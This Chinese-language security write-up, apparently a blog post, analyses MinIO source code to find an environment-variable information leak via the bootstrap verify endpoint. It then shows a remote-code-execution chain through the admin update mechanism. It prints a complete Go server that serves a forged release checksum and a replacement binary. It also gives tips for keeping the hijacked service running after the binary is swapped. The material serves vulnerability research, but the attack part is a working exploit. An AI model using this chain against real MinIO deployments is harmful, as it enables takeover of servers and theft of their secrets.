开局一张图,内容全靠编
首先clone下minio项目,然后回滚到月初的commit
git checkout 9800760cb3cd42156161c9345e4543f42ed67d0f
配一下环境参数就可以直接开run了
直接搜索关键字
可以看到这个属性是由环境变量设置的,根据推测直接搜索关键字os.Environ
搜索到getLocalServerProperty
函数,这个函数,参数中有request,看着好像是能访问的样子
并且下面在遍历了os.Environ,但是如果检测到环境变量名中有password或者key的话,居然会给打码。所以这个函数虽然看着很像我们需要的,但是实际上不是
后续看代码中,发现env.Get出现的很频繁,这是官方自己实现的一个包,同样也可以获取环境变量
并且Lsit方法支持同时获取多个环境变量
搜索这个函数的使用,很快就能找到getServerSystemCfg
返回MINIO开头的环境变量,看着非常符合图里的特征
往上追,能看到registerBootstrapRESTHandlers
说明是一个api,我们可以访问的,需要使用POST访问,PATH是minio/bootstrap/v1/verify
但是直接访问是无法访问的,因为在这个函数里面下断点,会发现这个代码块根本没被执行到
跟到上面,会判断globalIsDistErasure是否为真,为真才注册路由
这个参数是,只有在分布式运行的时候才为true
为了方便测试,我们直接把 if globalIsDistErasure
改成 if true
,然后重启
信息泄露 Get~
在找环境变量搜索os的时候,找到了一个相当有rce潜力的函数
可以重启整个进程,查找调用此方法的地方
在这里监听了的一个chan,如果受到消息是serivceRestart,进程就会重启
继续跟进,一共有五个通道会写入消息
找到一个函数
整体来看会接受updateURL方法然后下载、检验、重启
下载
校验
重启
本来想尝试手动访问这个API的,但是认证过程实在是复杂。上官网看文档,发现一个官方封装好的
https://min.io/docs/minio/linux/reference/minio-mc-admin.html
下载mc客户端 配置alias
尝试直接更新,报了一个错
parseReleaseData返回了err 跟进函数看看
分割字符串校验信息
根据校验函数构造一个更新服务信息
package main
import (
"net/http"
"os"
)
//func main() {
// cmd := exec.Command("sh", "-c", "open -a Calculator")
// cmd.Run()
//}
func main() {
http.HandleFunc("/info", Evil)
http.HandleFunc("/minio.RELEASE.2023-05-22T03-08-07Z", evil)
http.ListenAndServe("0.0.0.0:8000", nil)
}
func Evil(w http.ResponseWriter, r *http.Request) {
println("info")
w.Write([]byte("9ff209a2e3f9b9d61cb26e4c9953e8ce4985f1073120ed7794b0337033174e89 minio.RELEASE.2023-05-22T03-08-07Z\n"))
}
func evil(w http.ResponseWriter, r *http.Request) {
println("evil")
b, _ := os.ReadFile("main")
w.Write(b)
}
注意minio.RELEASE.2023-05-22T03-08-07Z这里的日期要比minio运行的日期要新,这里的sha256
随便写一个,报错会告诉你正确的sha256,后面的就是正确的
然后执行
成功~
但是千万要注意,这个exp会覆盖minio的文件,服务会挂掉的。推编译一个minio最新版然后把自己的代码加入到里面。然后打,这样服务不会挂。